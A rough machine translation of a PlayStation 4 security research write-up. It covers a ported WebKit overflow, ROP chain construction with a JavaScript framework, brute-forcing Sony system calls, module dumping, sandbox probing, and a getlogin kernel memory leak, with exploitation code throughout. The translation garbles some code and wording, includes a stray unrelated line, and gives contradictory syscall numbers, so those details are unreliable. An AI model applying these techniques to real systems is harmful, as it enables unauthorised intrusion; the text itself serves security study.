Sony PlayStation 4 protection analysis

Original author: CTurt
  • Transfer
image

Since there have not been any public statements regarding the PS4 hack for a long time, it is time to break the silence and talk a little about how far the progress has come with regard to hacking the PS4, as well as about the reasons that prevent us from moving forward.

In this article, I will touch on some security principles that apply to all modern systems, as well as share my findings made by performing ROP tests on my PS4.

If you are new to exploits, you should first read my last article on hacking DS games using the stack smash vulnerability in save files.

Download everything you need for your own experiments here, currently only firmware 1.76 is supported.

Famous PS4 Facts


As you most likely know, the PS4 uses a special eight-core x86-64 CPU from AMD, a lot of research has been published about its architecture, and even if this specific version of the processor is slightly different from the generally accepted standard, this is hardly noticeable. For example, PFLA ( Page Fault The Liberation Army ) at the 29C3 ( 29Th Chaos Communication Congress ) showed evidence of proof-of-concept that can realize the full Turing machine using only the page faults ( page fault occurred ) and x86 MMU, video is available on YouTube . This will be interesting to those who, having run the code in a virtual machine, while wanting to follow instructions on the host CPU.
EurAsia news article under number 3251

Moreover, we are dealing not only with a well-documented CPU architecture - the software used in PS4 is mostly open source .

For us, the most important thing is that the Orbis OS, on which the console works, is based on FreeBSD and uses separate parts of NetBSD, repeating the situation with PS3 in this regard; in addition to FreeBSD 9.0, Mono VM and WebKit are used from other notable large software.

Entry Point - WebKit


WebKit is an open browser web rendering engine for iOS, Wii U, 3DS, PS Vita and PS4.

Despite the widespread use and maturity of the project, WebKit is not without some vulnerabilities; you can learn about most of them from the Pwn2Own records .

In particular, the browser PS4 firmware version 1.76 using WebKit, vulnerable to CVE-2012-3748 , a buffer overflow in the heap data ( heap-based buffer overflow ) in the method JSArray::sort(...).

In 2014, nas and Proxima announced that they were able to successfully port this exploit for use on the PS4 browser, and put the PoC code in public, which marked the beginning of the PS4 hacking process.

This code gives random access to read and write everything that the WebKit process can read / write, and this in turn can be used to dump modules and rewrite return addresses on the stack, allowing us to establish control over the instruction counter (for ROP).

Since then, many other vulnerabilities in WebKit have been discovered that supposedly allow dumping of modules and ROP on the latest PS4 firmware, but at the time of writing, none of these exploits were ported to PS4.

What is ROP (return oriented programming)?


Unlike primitive devices like DS and PSP, PS4 uses a kernel that controls the options of different memory areas. Memory pages marked with executable cannot be overwritten; pages marked with writable cannot be completed; this principle is known as Data Execution Prevention (DEP) .

For us, this means the impossibility of using a simple way: copying the payload to the memory and its subsequent execution. However, we can execute code that is already loaded into memory and marked as executable.

The mere possibility of jumping to one address is not particularly useful if we cannot write our own code at this address - this is why we will resort to ROP.

Return Oriented Programming (ROP) is just an improved version of the traditional “stack smashing” (buffer overflow attacks), but instead of overwriting the single value that the PC jumps to, we can chain together many different addresses, known as “gadgets”.

Usually A gadget is just the only design you want to follow ret.

In x86_64 assembler, when execution reaches the instruction ret, a 64-bit value is popped off the stack and the PC jumps on it; since we can control the stack, we can make each instruction retjump to the next desired gadget.

For example, starting from 0x80000instructions may be stored:

mov rax, 0
ret

And starting from the 0x90000following instructions are stored:

mov rbx, 0
ret

If we rewrite the return address on the stack so that it will 0x80000follow 0x90000, then as soon as the execution reaches the first instruction ret, it will jump to mov rax, 0, and immediately after that the next instruction retwill pop out of the stack 0x90000and jump to mov rbx, 0.

Thus, this chain will play into our hands and set both registers raxand rbx0, as if we just wrote the code in one place and carried out consistently.

ROP chains are not limited to a list of addresses; suppose the 0xa0000following instructions come with :

pop rax
ret

We can set the first element of the chain to 0xa0000and the next element to any desired value for rax.

Gadgets are also not required to end with instructions ret; we can use gadgets ending in jmp:

add rax, 8
jmp rcx

Having done so that rcxpoints to the instruction ret, the chain will be executed in the usual way:

chain.add("pop rcx", "ret");
chain.add("add rax, 8; jmp rcx");

Sometimes you won’t be able to find exactly the gadget that you need, by itself - only with other instructions after it. For example, if you want to set r8to some value, but you only have this gadget, then you have to set r9to some dummy value:

pop r8
pop r9
ret

Although from time to time you will have to show your creativity abilities when writing ROP chains, nevertheless, it is generally accepted that when using a sufficiently large dump of code, the gadgets received will be enough for full Turing functionality; this makes ROP a viable DEP bypass method.

Gadget Search


The following metaphor will help you understand ROP.

Imagine that you are writing a new chapter in a book, while using only those words that were at the ends of the sentences of the previous chapters. Obviously, due to the principles of phrase construction, you are unlikely to find the words “and” or “or” at the end of one of the sentences - but we will need these connecting elements if we want to write something meaningful.

It is possible, however, that one of the sentences ended with the word “sand”. And, although according to the author’s intention, we should read this whole word beginning with the letter “s”, if we start our reading with “a”, then by pure chance we get a completely different word - “and”, which we needed.

These principles also apply to ROP.

Since the structure of almost all functions looks something like this:
; Сохранение регистров
push    rbp
mov     rbp, rsp
push    r15
push    r14
push    r13
push    r12
push    rbx
subrsp, 18h; Тело функции
; Восстановление регистров
add     rsp, 18h
pop     rbx
pop     r12
pop     r13
pop     r14
pop     r15
pop     rbp
ret

Therefore, you should expect to find only gadgets pop, or, less commonly xor rax, rax, that set the value to 0 before returning.

Comparison like
cmp [rax], r12
ret

makes no sense, since the result of the comparison is not used by the function. However, the likelihood of discovering such gadgets still remains.

X86_64 instructions are similar to words in that they have a variable length, and can mean completely different things depending on where the decoding starts.

The x86_64 architecture is a set of variable-length CISC instructions. Return-oriented programming on x86_64 takes advantage of the fact that the instruction set is very "dense" - in the sense that any arbitrary sequence of bytes can most often be interpreted as a valid set of x86_64 instructions.

- Wikipedia

To demonstrate this, take a look at the end of this function from the WebKit module:

000000000052BE0Dmoveax, [rdx+8]
000000000052BE10mov[rsi+10h], eax
000000000052BE13orbyteptr[rsi+39h], 20h
000000000052BE17ret

Now take a look at what the code will look like if we start decoding with 0x52be14:
000000000052BE14cmp[rax], r12
000000000052BE17ret

Although this code was never intended to be executed, it is located in the memory area, which was marked as “executable”, which makes it very attractive for use as a gadget.

Of course, it would be incredibly expensive to spend time looking for all possible ways to interpret the code before each instruction retmanually; existing utilities can do this for us. To search for ROP gadgets, I prefer to use rp ++ ; to generate a text file filled with gadgets just enter the command:

rp-win-x64 -f mod14.bin --raw=x64 --rop=1 --unique > mod14.txt


Segmentation errors


If we try to execute a non-executable memory page, or try to write to a non-writable memory page, a segmentation error will occur.

For example, this is an attempt to execute code on a stack that is "read only" read-write (rw):

setU8to(chain.data + 0, 0xeb);setU8to(chain.data + 1, 0xfe);chain.add(chain.data);

And so - an attempt to write code that is "read only" and read (rx):

setU8to(moduleBases[webkit], 0);

If a segmentation error occurs, the message “Not enough free system memory” appears on the screen, and the page does not load:

image

The reason for the output of this message may be something else - for example, executing an incorrect instruction or an unrealized system call - but most often it crawls out precisely because of a segmentation error.

ASLR


Address Space Layout Randomization (ASLR) is a security technology used in operating systems that randomly changes the location of important structures in the process address space, namely: the image of the executable file, loaded libraries, heap and stack. Because of it, the base addresses of the modules change every time you launch your PS4.

I received evidence that in the oldest firmware versions (1.05) ASLR was disabled , but it appeared somewhere around 1.70. Note that ASLR for the kernel is disabled, at least for firmware version 1.76 and below, and this will be proved further.

For most exploits, ASLR will be a problem, because if you do not know the addresses of the gadgets in memory, then you will not guess what needs to be written to the stack.

Fortunately for us, we are not limited to writing static ROP chains. We can use JavaScript to read the module table, which will help us get the base addresses of the loaded modules. Using these addresses, we can calculate the addresses of all our gadgets before completing the ROP chain, bypassing ASLR.

The module table also includes module file names:
  • WebProcess.self
  • libkernel.sprx
  • libSceLibcInternal.sprx
  • libSceSysmodule.sprx
  • libSceNet.sprx
  • libSceNetCtl.sprx
  • libSceIpmi.sprx
  • libSceMbus.sprx
  • libSceRegMgr.sprx
  • libSceRtc.sprx
  • libScePad.sprx
  • libSceVideoOut.sprx
  • libScePigletv2VSH.sprx
  • libSceOrbisCompat.sprx
  • libSceWebKit2.sprx
  • libSceSysCore.sprx
  • libSceSsl.sprx
  • libSceVideoCoreServerInterface.sprx
  • libSceSystemService.sprx
  • libSceCompositeExt.sprx

Despite the fact that PS4 for the most part uses the [Signed] PPU Relocatable Executable ([S] PRX) format for modules, lines referring to the [Signed] Executable and Linking Format ([S] ELF) object files are seen in the libSceSysmodule.sprx dump ) - bdj.elf, web_core.elf and orbis-jsc-compiler.self.

This combination of modules and objects resembles the one used in the PSP and PS3.

A complete list of all available modules (and not just those loaded by the browser) can be found in libSceSysmodule.sprx. We can download and dump some of them thanks to several special system calls for the authorship of Sony, which will be discussed later.

JuSt-ROP


Using JavaScript to write and execute dynamic ROP chains gives us a huge advantage over a regular buffer overflow attack.

In addition to bypassing ASLR, we can read the browser user agent, and substitute a different ROP chain for a different version of the browser, giving our exploit the highest degree of compatibility possible.

We can even use JavaScript to read memory at our gadget addresses in order to make sure they are correct, which gives us almost perfect reliability.

Dynamic spelling of ROP chains makes sense compared to their preliminary generation by a script.

For these reasons, I created my own JavaScript framework for writing ROP chains, JuSt-ROP .

JavaScript pitfalls


JavaScript uses the IEEE-754 double-precision representation of numbers (64 bits) . This gives us 53 bits of accuracy (the VT_R8 mantissa has only 53 bits), which means that it is not possible to display each 64-bit value - for some of them it will be necessary to apply the approximation.

If you just need to set the 64-bit number to some small value, sort of 256, then it setU64towill cope with the task. But for cases when you need to write a buffer or data structure, there is a possibility that individual bytes will be written incorrectly if they were written in blocks of 64 bits. Instead, you should write data in 32-bit blocks (remembering that PS4 uses little-endian order) to make sure that each byte is identical.

System calls


Interestingly, PS4 uses the same call format as Linux and MS-DOS for system calls, with arguments stored in registers, rather than the traditional UNIX way (which FreeBSD uses by default) when the arguments are stored on the stack:
RegisterValue
raxSystem call number
rdiArgument 1
rsiArgument 2
rdxArgument 3
r10Argument 4
r8Argument 5
r9Argument 6

We can try to make any system call using the JuSt-ROP method:

this.syscall = function(name, systemCallNumber, arg1, arg2, arg3, arg4, arg5, arg6) {
	console.log("syscall " + name);
	this.add("pop rax", systemCallNumber);
	if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
	if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
	if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
	if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
	if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
	if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
	this.add("pop rbp", stackBase + returnAddress - (chainLength + 8) + 0x1480);
	this.add("mov r10, rcx; syscall");
}


Using system calls can tell us a lot about the PS4 core. Moreover, using system calls is the only way we can interact with the kernel, and could potentially perform a kernel exploit.

If you reverse engineer the modules to identify some of Sony’s special system calls, you can find an alternative call format:

RegisterValue
rax0
rdiSystem call number
rsiArgument 1
rdxArgument 2
r10Argument 3
r8Argument 4
r9Argument 5


Apparently, Sony did so for easy compatibility with a function calling convention, for example:

unsignedlongsyscall(unsignedlong n, ...){
	registerunsignedlong rax asm("rax");
	asm("mov r10, rcx");
	rax = 0;
	asm("syscall");
	return rax;
}

Using this approach, they can make any system call from C.
When writing ROP chains, we can use the following convention:

// Обе команды возвращают ID текущего процесса:
chain.syscall("getpid", 20);
chain.syscall("getpid", 0, 20);


It is useful to remember this in case you can choose the most convenient of the available gadgets.

getpid


One single system call, number 20, getpid(void)is already capable of telling us a lot about the kernel.

The very fact that this system call works tells us that Sony did not even bother to mix the system call numbers, as required by the " security through obscurity " technique (and under the BSD license they could do this without publishing new system numbers on the Internet calls).

Thus, we automatically got our hands on a list of system calls that you can try to make in the PS4 core.

Secondly, by calling getpid(), restarting the browser, and then calling it again, we get a return value of 1 greater than the previous one. Although FreeBSD supports PID randomizationsince version 4.0, sequential PID allocation is the default behavior. Apparently, Sony did not bother to strengthen the protection here, as it did in projects like HardenedBSD .

How many system calls are there?


The last system call in FreeBSD 9 is wait6followed by a number 523; all the numbers above are Sony's special system calls.

Attempting to call any of spetsilno Sony system calls will return an error without correct arguments 0x16, "Invalid argument"; however, any compatible system calls, or unrealized system calls, will result in an error "There is not enough free system memory".

Through trial and error, I found out that the system call under the number 617is the last Sony call, all calls are not implemented further.

Based on this, we can make a logical conclusion that in the PS4 kernel there are 85 special system calls (617 - 532) for the authorship of Sony.

This is significantly less than it was in the PS3, which had almost 1000 system calls in total. Well, even if this indicates less scope for potential attack vectors, it will be easier for us to document all the challenges.

We are going further. Nine of these 85 system calls always return 0x4e, ENOSYS, which means a simple thing - these calls only work on test devices for developers, leaving us with only 76 useful calls.

Of these 76, libkernel.sprx refers to only 45 (all applications that are not part of the kernel use this module to make system calls). In total, the developer has only 45 available special system calls.

Interestingly, although only 45 calls were intended for use (since libkernel.sprx has wrappers for them), some of the remaining 31 are still available from the browser process. It is possible that in these unintentionally abandoned calls, the probability of finding a vulnerability is much higher, since their testing of time clearly took the least.

libkernel.sprx


In order to understand how special system calls are used by the kernel, the main thing is to remember that this is just a modification of the standard FreeBSD 9.0 libraries.

Here is an excerpt _libpthread_initfrom the file thr_init.c:

/*
 * Check for the special case of this process running as
 * orin place of init as pid = 1:
 */
if ((_thr_pid = getpid()) == 1) {
	/*
	 * Setup a new session for this process which is
	 * assumed to be running as root.
	 */
	if (setsid() == -1)
		PANIC("Can't set session ID");
	if (revoke(_PATH_CONSOLE) != 0)
		PANIC("Can't revoke console");
	if ((fd = __sys_open(_PATH_CONSOLE, O_RDWR)) < 0)
		PANIC("Can't open console");
	if (setlogin("root") == -1)
		PANIC("Can't set login to root");
	if (_ioctl(fd, TIOCSCTTY, (char *) NULL) == -1)
		PANIC("Can't set controlling terminal");
}

The same function can be found on the offset 0x215F0from libkernel.sprx. This is how the above code looks in the libkernel dump:

call    getpid
mov     cs:dword_5B638, eax
cmp     eax, 1
jnz     short loc_2169F
call    setsid
cmp     eax, 0FFFFFFFFh
jz      loc_21A0C
lea     rdi, aDevConsole ; "/dev/console"
callrevoketest    eax, eax
jnz     loc_21A24
lea     rdi, aDevConsole ; "/dev/console"
mov     esi, 2
xor     al, al
callopen
mov     r14d, eax
test    r14d, r14d
js      loc_21A3C
lea     rdi, aRoot       ; "root"
call    setlogin
cmp     eax, 0FFFFFFFFh
jz      loc_21A54
mov     edi, r14d
mov     esi, 20007461h
xor     edx, edx
xor     al, al
call    ioctl
cmp     eax, 0FFFFFFFFh
jz      loc_21A6C


Reversing module dumps for analyzing system calls


libkernel is not fully open: it contains a large amount of Sony's own code that could reveal their system calls.

Although the analysis process will differ depending on the selected system call, for some of them it is quite simple to find out the composition of the arguments that are passed to the call.

A system call wrapper will be declared somewhere in libkernel.sprx and will almost always follow the following pattern:
000000000000DB70 syscall_601     proc near
000000000000DB70                 mov     rax, 259h
000000000000DB77                 mov     r10, rcx
000000000000DB7A                 syscall
000000000000DB7C                 jb      short error000000000000DB7E                 retn
000000000000DB7F
000000000000DB7F error:
000000000000DB7F                 lea     rcx, sub_DF60
000000000000DB86                 jmp     rcx
000000000000DB86 syscall_601     endp

Note that an instruction mov r10, rcxdoes not necessarily mean that a system call takes at least 4 arguments; this instruction is at all system calls wrappers, and even those that do not take any arguments - for example, getpid.

Once you find the wrapper, you can look at the xrefs to it:

0000000000011D50                 mov     edi, 10h
0000000000011D55                 xor     esi, esi
0000000000011D57                 mov     edx, 1
0000000000011D5C                 call    syscall_601
0000000000011D61                 test    eax, eax
0000000000011D63                 jz      short loc_11D6A


A good idea would be to look for a few more, just to make sure that the registers have not been changed for anything unrelated:
0000000000011A28                 mov     edi, 9
0000000000011A2D                 xor     esi, esi
0000000000011A2F                 xor     edx, edx
0000000000011A31                 call    syscall_601
0000000000011A36                 test    eax, eax
0000000000011A38                 jz      short loc_11A3F

We see how with the enviable constancy of the first three registers from the system call agreement (rdi, rsi, and rdx), so that we can quite confidently declare that the call takes three arguments.

To understand, here's how we play these calls with JuSt-ROP:

chain.syscall("unknown", 601, 0x10, 0, 1);
chain.syscall("unknown", 601, 9, 0, 0);

Like most system calls, these calls will return 0 if successful, as can be seen in the code above, where jzthe transition after testa returns value.

Finding out something more complex than the number of arguments will require a much deeper analysis of the code before and after the call to understand the context, but the above should be enough for you to start.

Bruteforce system calls


Despite the fact that reverse engineering of module dumps is the most reliable way to identify system calls, some of them are not mentioned in dumps, so we are forced to analyze them “blindly”.

If we assume that a certain system call can take a certain set of arguments, then we can bruteforce all system calls that return a certain value (0 for success) with the selected arguments, and ignore all those that return an error.

We can also transfer zeros for all arguments, and brute force, all system calls that return helpful error like 0xe, "Bad address"that indicate that the call is received at least one pointer.

First, we need to run the ROP chain as soon as the page loads. We can do this by hanging our function on an onloadelement body:
<bodyonload="exploit()">

Next we need to make a special system call depending on the value from the HTTP GET. Although this can be done using JavaScript, I use PHP for simplicity:
var Sony = 533;
chain.syscall("Sony system call", Sony + <?phpprint($_GET["b"]); ?>, 0, 0, 0, 0, 0, 0);
chain.write_rax_ToVariable(0);

As soon as the system call is completed, we can check the return value, and if it does not give us anything interesting, redirect to the following system call:
if(chain.getVariable(0) == 0x16) window.location.assign("index.php?b=" + (<?phpprint($_GET["b"]); ?> + 1).toString());

Running a page with? B = 0 at the end will launch bruteforce from the first Sony system call.

Although this method requires a considerable amount of experimentation, we can confidently say that it will allow you to find several system calls that you can partially identify.

System call 538


As an example, let's look at the 538 system call without relying on dumps of any modules.

Here are the return values, depending on what is passed as the first argument:
  • 0 - 0x16, "Invalid argument"
  • 1 - 0xe, "Bad address"
  • A pointer to 0 is initially 0x64, but with each page refresh, the value increases by 1.

Other potential arguments you can try to substitute are PID, stream ID, and file descriptor.

Despite the fact that most system calls return 0 on successful execution, some calls return a value that increases with each new call - apparently, these calls allocate some resource, such as a file descriptor.

The next step will be to monitor the data before and after making the system call in order to understand whether anything was written to them.

Since there are no changes in the data, we can with good conscience assume that this is input.

Then try to feed the method a long string as the first argument. You should try this with every input that you can detect, since there is a chance of detecting buffer overflows.

writeString(chain.data, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa");chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0); 

We obtain as the value of the return 0x3f, ENAMETOOLONG. Alas, we see that the system call correctly restricts the name (32 bytes including a delimiter NULL), but now we know that the method expects a string, not a structure.

Well, now we have a few ideas on what this challenge can do. The most obvious option is some kind of action related to the file system (for example, a special version mkdiror open), but this version is unlikely to suit us - after all, the resource is allocated even before we write any data in the index.

Let's try to check if the first parameter is a path. We break it into several characters /and see if this allows us to pass a long string to the method:

writeString(chain.data, "aaaaaaaaaa/aaaaaaaaaa/aaaaaaaaaa");chain.syscall("unknown", 538, chain.data, 0, 0, 0, 0, 0); 

Since this call will also return 0x3f, we can assume that the first argument is not the way; this is the name for something that will be stored in memory and will receive a sequential identifier .

After analyzing other system calls, I was able to find that all of the following have the same behavior:
  • 533
  • 538
  • 557
  • 574
  • 580

Using the information received it is almost impossible to guess what exactly these system calls do, but if you conduct other tests, you will gradually reveal the secret. I will save you a little time - the system call 538 allocates memory for the event flag (and takes not only a name as a parameter).

With basic knowledge of how the kernel works, you can guess and then check what memory is allocated for system calls — semaphores, mutexts, and so on.

Dump additional modules


We can dump additional modules as follows:
  • Download module
  • Get the base address of the module
  • Dump module.

I took on the tedious labor of loading and dumping every possible module from the browser with my hands and published the results on psdevwiki . All modules marked “Yes” can be dumped using this method.

To load the module, we need to use the function sceSysmoduleLoadModulefrom libSceSysmodule.sprx + 0x1850. The first parameter is the identifier of the loaded module, the other three simply pass 0.

The JuSt-ROP method below is useful for making this call:
this.call = function(name, module, address, arg1, arg2, arg3, arg4, arg5, arg6) {
	console.log("call " + name);
	if(typeof(arg1) !== "undefined") this.add("pop rdi", arg1);
	if(typeof(arg2) !== "undefined") this.add("pop rsi", arg2);
	if(typeof(arg3) !== "undefined") this.add("pop rdx", arg3);
	if(typeof(arg4) !== "undefined") this.add("pop rcx", arg4);
	if(typeof(arg5) !== "undefined") this.add("pop r8", arg5);
	if(typeof(arg6) !== "undefined") this.add("pop r9", arg6);
	this.add("pop rbp", stack_base + return_va - (chainLength + 8) + 0x1480);
	this.add(module_bases[module] + address);
}

So, for download we libSceAvSetting.sprx (0xb)use:

chain.call("sceSysmoduleLoadModule", libSysmodule, 0x1850, 0xb, 0, 0, 0);

Like most system calls, this should return 0 on success. To see the identifier of the module allocated in the memory, we can use one of Sony's system calls number 592 to get a list of loaded modules:
var countAddress = chain.data;
var modulesAddress = chain.data + 8;
// Системный вызов 592, getLoadedModules(int *destinationModuleIDs, int max, int *count);
chain.syscall("getLoadedModules", 592, modulesAddress, 256, countAddress);
chain.execute(function() {
	var count = getU64from(countAddress);
	for(var index = 0; index < count; index++) {
		logAdd("Module: 0x" + getU32from(modulesAddress + index * 4).toString(16));
	}
});

Executing this code without loading other additional modules will display the following list:
0x0, 0x1, 0x2, 0xc, 0xe, 0xf, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b, 0x1e, 0x37, 0x59

However, if we run it after loading the 0xb module, we will see an additional element, 0x65. Remember - the identifier of the module is not the same as the identifier of the loaded module.

Now we can use another Sony system call number 593, which takes the identifier of the loaded module and the buffer, and fills the buffer with information about the loaded module, including its base address. Since the identifier of the loaded module is always 0x65, we can “hardcode” it into our chain, instead of storing the result from the list of modules.

The buffer must start with a structure size to be returned, otherwise, it returns an error 0x16, "Invalid argument":
setU64to(moduleInfoAddress, 0x160);
chain.syscall("getModuleInfo", 593, 0x65, moduleInfoAddress);
chain.execute(function() {
	logAdd(hexDump(moduleInfoAddress, 0x160));
});

If successful, 0 will be returned, and the buffer will be filled with a structure that can be read like this:

var name = readString(moduleInfoAddress + 0x8);
var codeBase = getU64from(moduleInfoAddress + 0x108);
var codeSize = getU32from(moduleInfoAddress + 0x110);
var dataBase = getU64from(moduleInfoAddress + 0x118);
var dataSize = getU32from(moduleInfoAddress + 0x120);

Now we have everything you need for a module dump!

dump(codeBase, codeSize + dataSize);

There is another Sony system call, number 608, which works in a manner similar to 593, but provides slightly different information about the loaded module:

setU64to(moduleInfoAddress, 0x1a8);
chain.syscall("getDifferentModuleInfo", 608, 0x65, 0, moduleInfoAddress);
logAdd(hexDump(moduleInfoAddress, 0x1a8));

It is not known what this information may mean.

Exploring the file system


PS4 uses standard FreeBSD 9.0 system calls to read files and directories.

However, while reading certain directories seems to /dev/work, reading others, for example, /does not.
I don’t know why this happens, but if used gendentsinstead of readfor directories, then everything will work more reliably:

writeString(chain.data, "/dev/");chain.syscall("open", 5, chain.data, 0, 0);chain.write_rax_ToVariable(0);
chain.read_rdi_FromVariable(0);
chain.syscall("getdents", 272, undefined, chain.data + 0x10, 1028);

Here is the resulting memory:
0000010: 07000000100002056469707377000000  ........dipsw...
0000020: 08000000100002046e75 6c6c 00000000  ........null....
0000030: 09000000100002047a65 726f 00000000  ........zero....
0000040: 030100000c00 0402666400000b00 0000  ........fd......
0000050: 10000a05 737464696e00 00000d00 0000  ....stdin.......
0000060: 10000a06 7374646f 757400000f00 0000  ....stdout......
0000070: 10000a06 737464657272000010000000  ....stderr......
0000080: 10000205646d 656d 3000000011000000  ....dmem0.......
0000090: 10000205646d 656d 3100000013000000  ....dmem1.......
00000a0: 1000020672616e64 6f6d 000014000000  ....random......
00000b0: 10000a07 7572616e 646f 6d00 16000000  ....urandom.....
00000c0: 1400020b 646563695f73 74646f75 7400  ....deci_stdout.
00000d0: 170000001400020b 646563695f73 7464  ........deci_std
00000e0: 65727200180000001400020964656369  err.........deci
00000f0: 5f74 7479320000001900000014000209  _tty2...........
0000100: 646563695f74 7479330000001a00 0000  deci_tty3.......
0000110: 14000209646563695f74 747934000000  ....deci_tty4...
0000120: 1b00 000014000209646563695f74 7479  ........deci_tty
0000130: 350000001c00 000014000209646563695...........deci
0000140: 5f74 7479360000001d00 000014000209  _tty6...........
0000150: 646563695f74 7479370000001e00 0000  deci_tty7.......
0000160: 1400020a 646563695f74 747961300000  ....deci_ttya0..
0000170: 1f00 00001400020a 646563695f74 7479  ........deci_tty
0000180: 62300000200000001400020a 64656369  b0.. .......deci
0000190: 5f74 747963300000220000001400020a  _ttyc0..".......00001a0: 646563695f73 7464696e 000023000000  deci_stdin..#...00001b0: 0c00 0203627066002400000010000a04  ....bpf.$.......
00001c0: 6270663000000000290000000c00 0203  bpf0....).......
00001d0: 686964002c00 0000140002087363655f  hid.,.......sce_
00001e0: 7a6c 6962000000002e00 000010000204  zlib............
00001f0: 6374747900000000340000000c00 0202  ctty....4.......
0000200: 67630000390000000c00 020364636500  gc..9.......dce.
0000210: 3a00 0000100002056462676763000000  :.......dbggc...
0000220: 3e00 00000c00 0203616a 6d00 41000000  >.......ajm.A...
0000230: 0c00 020375766400420000000c00 0203  ....uvd.B.......
0000240: 76636500450000001800020d 6e6f 7469  vce.E.......noti
0000250: 6669636174696f6e 3000000046000000  fication0...F...
0000260: 1800020d 6e6f 74696669636174696f6e  ....notification
0000270: 310000005000000010000206757362631...P.......usbc
0000280: 746c 0000560000001000020663616d65  tl..V.......came
0000290: 72610000850000000c00 0203726e 6700  ra..........rng.
00002a0: 070100000c00 040375736200 c900 0000  ........usb.....
00002b0: 10000a07 7567656e 302e 340000000000  ....ugen0.4.....
00002c0: 00000000000000000000000000000000  ................

Some of these devices can be read, for example, reading will /dev/urandomfill the memory with random data.
You can also parse this memory and get a list of entities; take a look at browser.htmlfrom the repository that acts as a file manager:

image

Alas, because of the sandbox, we do not have full access to the file system. Attempt to read files or directories that exist , but access to them is limited, you will return error 2 ENOENT, "No such file or directory". True, we can still get access to various interesting things - encrypted save files, trophies and account information - I will tell you more about them in my next articles.

Sandbox


The problem with the operation of system calls is not limited to individual paths - there are other reasons why they cannot be completed.

Most often, the forbidden system call will simply return an error 1 EPERM, "Operation not permitted"; This statement is true for calls like ptrace, because other system calls will not work for a variety of reasons.

Compatible system calls are disabled. For example, if you want to call mmap, you must use the system call number 477 , not 71 or 197 ; otherwise, you will get a segfault.

Other system calls, like exit, will also cause a segmentation fault :

chain.syscall("exit", 1, 0);


An attempt to create SCTP-socket returns an error 0x2b, EPROTONOSUPPORTindicating that the SCTP-sockets were off in PS4 kernel:

//int socket(intdomain, inttype, int protocol);
//socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
chain.syscall("socket", 97, 2, 1, 132);

And, although a call mmapwith PROT_READ | PROT_WRITE | PROT_EXECwill return a valid pointer, the flag PROT_EXECwill be ignored. Reading its protection will return 3 (RW), and any attempt to execute memory will result in segfault:

chain.syscall("mmap", 477, 0, 4096, 1 | 2 | 4, 4096, -1, 0);
chain.write_rax_ToVariable(0);
chain.read_rdi_FromVariable(0);
chain.add("pop rax", 0xfeeb);
chain.add("mov [rdi], rax");
chain.add("mov rax, rdi");
chain.add("jmp rax");

The list of open source software used in PS4 does not contain specialized sandbox software like Capsicum , so PS4 either uses “clean” jails from FreeBSD , or relies on its own proprietary system for isolating environments (which is unlikely).

Jail


We can prove the existence of active use of jail s from FreeBSD in the PS4 kernel using the auditon system call, which cannot be performed in an isolated jailed environment:

chain.syscall("auditon", 446, 0, 0, 0);


The first thing a system call auditiondoes is check jailedhere , and if so, returns ENOSYS:

if (jailed(td->td_ucred))
	return (ENOSYS);


Otherwise, the system call will most likely return EPERMfrom mac_system_check_auditonhere :

error = mac_system_check_auditon(td->td_ucred, uap->cmd);
if (error)
	return (error);


Or from priv_checkhere :

error = priv_check(td, PRIV_AUDIT_CONTROL);
if (error)
	return (error);


The farthest where the system call can reach will be immediately after priv_check, here , before returning EINVALdue to the argument length of 0:

if ((uap->length <= 0) || (uap->length > sizeof(union auditon_udata)))
	return (EINVAL);


Since mac_system_check_auditonthey priv_checknever return ENOSYS, getting checked jailedis the only option when it returns ENOSYS.

When executing the chain, returnsENOSYS ( 0x48).

This tells us that the sandbox system used by the PS4 is at least jail-based, as it uses validation jailed.

FreeBSD 9.0 kernel exploits


It makes little sense to look for new vulnerabilities in the FreeBSD 9.0 kernel sources , since several kernel exploits have been found since the release in 2012 to which PS4 could be potentially vulnerable.

We can drop some of them right away:

FreeBSD 9.0-9.1 mmap / ptrace - Privilege Escalation Exploit - will not work, because we do not have access to the system call ptrace.
FreeBSD 9.0 - Intel SYSRET Kernel Privilege Escalation Exploit - will not work because the PS4 uses an AMD processor.
FreeBSD Kernel - Multiple Vulnerabilities - perhaps the first vulnerability from this kit will work, but the other two rely on SCTP sockets, which are disabled in the PS4 kernel, as mentioned earlier.

Fortunately, there are a few smaller vulnerabilities that can lead us to something interesting.

getlogin


One vulnerability that is easy to try is the use of the getlogin system call to leak a small amount of kernel memory .

The getlogin system call is intended for copying the username of the current session into user memory, however, due to a bug, the buffer is always copied completely, and not just the size of the name string. This means that we can read some uninitialized data from the kernel, which may come in handy.

Note that the system call (49) is actually int getlogin_r(char *name, int len);, not char *getlogin(void);.

So, let's try to copy some kernel memory into the unused portion of user memory:
chain.syscall("getlogin", 49, chain.data, 17);


Alas, we can’t pull out more than 17 bytes, because:

Username length is limited by MAXLOGNAME (from <sys / param.h>) characters, currently it is 17 characters, including empty ones.
- FreeBSD Man Pages

After completing the chain, the return value is 0, which implies that the system call has completed! Great start. Now take a look at the memory we pointed to:

Before executing the chain:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00

After completing the chain:

726f6f7400 fe ff ff 08626182 ff ff ff ff
00

After decoding the first four bytes in ASCII:

root

It turns out that the browser runs from the root! This is a surprise.

But what’s even more interesting is that the leaked memory resembles a pointer to something in the kernel, which remains the same with each run of the chain; this evidence confirms Yifanlu's theory that the PS4 does not have ASLR ( address space randomization ) protection at the kernel level!

Total


Judging by the information gathered, the PS4 kernel is very similar to the FreeBSD 9.0 stock kernel. It is important to note that the changes found relate more to changes to the standard kernel configuration than to code modifications. Although Sony added some of its own special system calls to the kernel, the rest of the kernel seems to have remained almost untouched.

For these reasons, I am inclined to believe that PS4 has the same “juicy” vulnerabilities as in the FreeBSD 9.0 kernel!

